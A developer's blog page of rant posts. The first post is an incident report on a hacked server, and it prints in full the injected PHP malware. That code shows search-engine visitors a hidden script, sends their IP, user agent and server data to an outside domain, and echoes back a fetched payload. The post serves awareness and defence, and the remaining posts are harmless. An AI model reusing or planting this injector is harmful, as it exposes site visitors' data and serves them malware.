Chris Nizzardini, Salt Lake City Utah, Web Developer Specializing in LAMP+Ajax Since 2006

My Blog

Here is my awesome blog. You can find information on programming, linux, documentation, tips for code and database optimization, my thoughts and rants, and whatever else I feel like sharing. Feel free to contribute to the blog by posting comments and asking questions.

Rant

Evil Hackers from Outerspace

Posted by chris on August 23rd, 2011 Comments (4)

Been having fun since Friday dealing with a compromised server. Somehow an infiltrator loaded two files onto the server in question. One in an OS Commerce directory (very out of date installation) and the other into the root of a Word Press 2.9 install. The malicious code would then phone home to a recently registered domains named jsonapplet.com and bxubwsxj.co.tv. Presumably some sort of virus/trojan was installed on the end-users computer from this domain. Each of these domains just had the default Apache install screen when you went to the index page, but nested in other pages in the server was where the payload was.

Noticing that jsonapplet.com seemed a bit weird (the .TV had not been discovered at this point) we dug in finding that it had just been recently registered to a company in China known for this sort of thing. Whether the company is actually based in China is unknown, but it still served to raise suspicions further.

The PHP script was crafty in that it would only write the malicious javascript to the document if the user had come in from a search engine. This made finding the exploit hard since we were visiting the pages directly (no HTTP REFERRER was set). Furthermore most online scanners would not find the exploit. The only one that reported it was unmaskparasites.com, but even that scanner said it was NOT suspicious. Googles online scanner (even though Google Adwords originally notified the company) and McAffee Scan Alert did not find this exploit either.

Here is the script:

if(empty($_COOKIE["7c6dc"])&& @preg_match("#google|ask|yahoo|baidu|youtube|wiki|qq|go|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|crawler|mail|bing|dogpile|facebook|twitter|live|space|linkedin|flickr|peeplo#is",$_SERVER["HTTP_REFERER"])){@setcookie("7c6dc","1",time()+60*60*24*30,");
        echo '<script type="text/javascript">// <![CDATA[
  document.cookie="7c6dc="+escape("'.time().".".rand(1111111,9999999).'")+"; expires='.date("D, j M Y 00:00:00", time()+60*60*24*30)."; path=/\";
// ]]></script>";
$d=array("HTTP_ACCEPT_CHARSET","HTTP_ACCEPT_LANGUAGE","HTTP_REFERER","REMOTE_ADDR","REQUEST_URI","REQUEST_METHOD","SCRIPT_FILENAME");foreach($d as $v)$t[]=$_SERVER[$v];
$a=strrev('ed'.'oc'.'ne_46e'.''.'sab');$b=strrev('edo'.'ced'.'_46e'.''.'sab');$u=$b("aHR0cDovL2J4dWJ3c3hqLmNvLnR2L2I5MDk/aT0=").$_SERVER["REMOTE_ADDR"]."&amp;r=http:/.$_SERVER["HTTP_HOST"]."&amp;u=".$_SERVER["HTTP_USER_AGENT"]."&amp;d=".$a(serialize($t));@$fn=file_get_contents($u);
if(!$fn||strlen($fn)4){list($crc,$enc)=explode("::",$fn);if(md5($enc)==$crc)echo $b($enc);}}if(isset($_GET["7c6dc"]))echo "7c6dc";

Though somewhat obfuscated a simple grep of the server for document.cookie would have quickly found this. Unfortunately initial greps were looking for things like eval and document.write instead. There are few reports on what the payload actually does from Anubis and Sucuri.

Steps taken :

1. Disabled all SSH access and created new accounts.

2. Checked to see who else was logged into the server using the who command. If anyone had been found those accounts would have been killed.

3. Removed the exploited files.

4. Changed SSH account passwords again.

5. Patched affected and non-affected software throughout the system.

I also contacted leaseweb.com informing them about the account. Contacted unmaskparasites.com as a thanks and to hopefully give them some hints on improving their scanner. Finally at the urging of a fellow developer I wrote this blog to hopefully create some awareness about this exploit.

In Rant (, , , , )

Lessons Learned as a Developer

Posted by chris on August 1st, 2011 Comments (4)

There are a few things I’ve had to learn the hard way over the years as a developer. In 2006 I was working as a Network Admin and decided to start programming in my free time. In 2007 I took a job working for an e-commerce company and really cut my teeth fast diving head first into a fairly complex LAMP environment. In 2010 I switched jobs for another e-commerce and again had to relearn some of the same lessons. I’m writing this blog more for myself, but its certainly a worthy read for novice, intermediate, and maybe even some jaded senior level programmers. Read the rest of this entry »

In Rant (, , )

Spam Wall – Edition 1

Posted by chris on February 18th, 2011 Comments (4)

I’ve been running cnizz.com for about 4 years now and its served me well. I’ve gotten in touch with clients, gained new friends, and have easy access to reference materials no matter where I am. I also enjoy blogging about the many subjects you find on here. It’s been awesome, but there is a dark side though, that dark side is the amount of spam I receive.

Read the rest of this entry »

In Rant ()

Three Failed Tech Startups Later and What I’ve Learned

Posted by chris on November 30th, 2010 Comment(1)

A few years back I had what I thought was a great idea for a slick web 2.0 app. I had LIMITED programming knowledge, no SEO skills, and I guess what you could call passable Linux and Networking skills. I decided to go for it anyways. A few years and thousands of lines (of code) later I had another great idea. This time around I was better in all of the aforementioned areas. Today that idea likely ended with “I regret to inform you that I have decided to purchase a different program.”  Both ended up failing and I won’t even mention the third.

So what happened? My first idea was fairly awesome. At it’s peak thousands of users (maybe tens of thousands) were cannibalizing my T1 connection. I ranked at, or very near the top of Google for some strong keywords. How could this fail?

Read the rest of this entry »

In Rant (, , , )

Holiday Weekend: Why not redesign my site!

Posted by chris on May 30th, 2010 Comment(1)

I’ve been sitting on this new design for over two months now and found myself up early Saturday morning with no pressing matters or client work to be done. Reward myself with a relaxing morning, right? Nah, find something to program! I based the design off many designs I’ve seen out there in the wild from other developers and designers. The polaroid type image of me was done in about 30 minutes using a GIMP tutorial I found last week. I then installed the awesome WP Syntax plugin for the neat syntax highlighting you see in some of my posts. Still have some work to do, but I’m spent for now.

Now I’ll reward myself with some beer pong and barbecue. Enjoy your memorial day.

In Rant ()

So What Is The Difference Between Web Developers and Web Designers?

Posted by chris on February 24th, 2010 Comments (2)

I get asked this question one way or another all the time. Either its someone actually trying to understand the difference (and there is a huge difference) or by people I am introducing myself to when they ask me what I do for a living. In the later sense they usually respond with “Oh so you know how to build web pages.” This doesn’t bother me, but I’m still a little dumbfounded with the prevalence of obvious web applications like facebook, myspace, and twitter in peoples lives.

We’re all guilty of this though, right? I have a friend who is a plumber and he had to explain the difference between commercial and residential plumbing to me, and even within those branches of plumbing there are specialties but we won’t go into those today.

I was explaining the difference to my girlfriend the other night. I was a bit intoxicated so I came up with an over the top analogy of the Sistine Chapel. The way I broke it down was you can liken the architect and the builders to web developers and Michelangelo and the painters as the web designer. So the web developer gives a website functionality. Its the web developer that enables you to submit your latest tweet, update your facebook status, and add all those images to myspace. Its the web designer who makes it look good. Now I over simplified the web designers job, they need to know a lot about how users view a page, how to catch a users eye, and web designers are usually damn good in PhotoShop (which has gotten pretty complex).

Another example is the engine and drivetrain in an automobile (web developers) versus the body, interior, and paint job (web designer). These two analogies are fairly accurate. Thoughts?

In Rant ()

Twittrash – Twitter Trash and Other Scum on the Internet

Posted by chris on February 17th, 2010 Comments(0)

So I recently started using twitter and you can follow me by going to http://www.twitter.com/cnizzdotcom. I had long been opposed to twitter because I thought it was useless. Of course I was initially opposed to myspace and facebook as well which I am currently using on or have used at one point. I guess I am sometimes a bit reactionary when it comes to knew things. Not just technology, but even certain technologies and methodologies in programming. This is a dangerous thing in my field, but I’m getting more progressive by the day. I laugh thinking about how years ago I stated to a co-worker “extending classes is a horrible idea.” Hey, if we were never wrong, then we’d never improve, right? So I take comfort in my opinions evolving as I become more knowledgeable.

So about a month ago I began using twitter. My use of twitter is really just an exercise in marketing my most important product across the internet, which is me! What I’ve learned in my month with twitter is that twitter is not much different than SEO blackhat, whitehat, and greyhat that you see with ranking in Google. In the SEO world you have scum that write bots (actually they are quite easy to write) which like graffiti in parks (the trashy kind) spam blogs and forums in an effort to win backlinks.

In the twitterverse its the same. You have twitbots, employed by twittrash that will follow someone for a few hours, maybe a few days (its hard to tell) and then unfollow them. All this is done automatically so the twittrash doesn’t have to do it manually. You’ve probably noticed this before. I noticed it right away and assumed it was some bot, but it was confirmed while reading a forum post over at DP. The poster advised another poster to “use a twitter automation program to auto follow then unfollow after time has passed and they don’t follow back.” The term twittrash immediately popped into my head.

There are legitimate ways of winning followers in twitter. It’s hard starting from ground zero and doing things legit (trust me I’m doing it now) but it can be done.

  1. Find people you know and start following them
  2. If you already know the person and they know you are now following them its likely they will reciprocate.

  3. Use hashtags to reach a broader audience
  4. When you use a hash tag such as #php or #embarassing it reaches everyone else listening for that hashtag. Of course spammers use these as well, but you glance over the spam and find the good stuff just like with anything else on the web.

  5. Write good twits and links to quality content
  6. This is a no brainer and its the exact same thing you do when optimizing for google.

  7. Include links to your twitter page everywhere
  8. Add a link to your twitter page on your facebook, myspace, blog, and to forum signatures

On the web and in life, when ever something good comes a long there will be [insert prefix here]-trash to try and ruin it. Twittrash is no different than snake oil salesman, politicians, and blog spammers. Thanks for reading.

In Rant, Seo ()

Template Monster = Fails

Posted by chris on December 31st, 2008 Comments(0)

I recently had an idea for a side project. Not wanting to spend the 20 or so hours it would take to create a fresh website from scratch I decided to try out Template Monster. Template Monster has some pretty sweet looking templates, so I forked out the $60 for the design and was promptly provided with a download link and a password for the ZIP file. That’s where the easy part ended…

First the way this particular Template Monster web designer (I can’t speak for all of them) designed the site forced you to use Photo Shop. The entire site was sliced up using Photo Shop which means its one big image. Whats wrong with one big image for your website? Well for one its very SEO unfriendly. Google will not index an image site like it will a text site, thus you won’t rank high in Google search results.

Next the website was no where near XHTML compliant. The entire thing is done in HTML tables, that’s just what Photo Shop does when you choose to save an image for the web. Each slice becomes a table TD, TR, etc… It took a considerable amount of work to replace image content with textual content. I’m still not there and I’m going to end up spending the same amount of time fixing the template as I would have just designing the site from scratch. Even though it won’t be up to my standards, so eventually I will have to go back and redesign the entire site. Yikes!

Personally, I won’t ever buy a template again. I’m not advising you not to do so, but perhaps do a little more research than I did. I was expecting a fully XHTML compliant (or at least close enough) CSS based site. Next time I have an idea for a site and don’t have the time to design it I’ll just hire a web designer or not do the site at all. Based on this experience Template Monster seems like a place where web designers, who really do have a good eye for design, work in a web design farm and are told to pump out templates as fast as possible. I’m a firm believer in taking the time to do the job right. If I had paid $300 for the template and it met my standards I would definitely be a returning customer, but I guess they sell more templates this way. Well not to me they don’t.

Anyways thats my experience with Template Monster. Have you had a different or similar experience?

In Rant ()

Interesting Conversation with a Friend on the “Web 2.0″

Posted by chris on November 8th, 2008 Comments(0)

Taking the day off from work due to a particularly nasty illness I certainly didn’t feel obliged to take part in my usual Friday rituals. My friend, whom was in the area, gave me a call and asked if it was alright to stop by. As is typical, we engaged ourselves in lengthy conversations. That eventually lead to a discussion on the new web, or “web 2.0″ as fancy marketing-types, and buzz-word addicts like to call it.

He started rattling off all the pod castes he’s subscribed to, how much great music he gets, the stuff he learns, and the best of youtube series he enjoys. I’m a web developer and have been in I.T. since 2004. So you would think that I would be on top of stuff like this, but there are a lot of new web applications and such out there that I have no idea about. Hell, it takes me weeks to get fluent with a new cell phone. Maybe’s I’m just busy keeping my head above water in this fast moving industry and don’t have time to learn stuff all the other web developers are churning out.

What perturbs me about some of these newer things going on in the web is that they’ve been around since I first started using the internet in the mid-90′s. It just seems like “they” put fancy wrappers around the pre-existing web by ditching the bad page designs. Then some slick marketing guru got a hold of a cutting-edge logo, some jazzy slogan, a hyped-up name, and hey-hey welcome to the new web 2.0. Pod castes, what are these but audio and video files that you can download? MySpace, it’s just a bunch of personal web pages like tripod and geocities (p.s. RIP) with some additional features, right?

Shortly thereafter I would feel naive as my friend came back with an interesting rebuttal. It’s not about new technologies so much, its about the integration of multiple technologies into one and the better organization of data. Which is completely true. Downloading these Pod castes through iTunes gives you one location, to get lots of information. You can then subscribe to your favorites and get notified of new ones. It even stores where you left off on a particular caste. Myspace was able to integrate numerous features such as photo album, messaging, music, and building a web page into one and they made it really easy to do.

This stuck in line with something I’ve been wrestling with for a while. It seems to me that the web today has its own particular illness. There is nothing new left to create. While I’m sure thats not the case, it does feel like all the really easy stuff has been done already. What we should be focusing on in today’s new web is more effectively organizing data and features. That’s where tomorrows money will be.

Anyways, I hate sick days.

In Rant ()

What to Write?

Posted by chris on February 12th, 2007 Comments(0)

At work right now so I’ll make my first blog post here short. I’ll use this as a place to store important information, specifically technical information related to I/T (programming functions, linux how to’s, and windows stuff). Basically this will be my fail-over when my brain crashes trying to remember something.

Got a lot of stuff I’m working on so I should start doing lots of blog entries shortly.

In Rant ()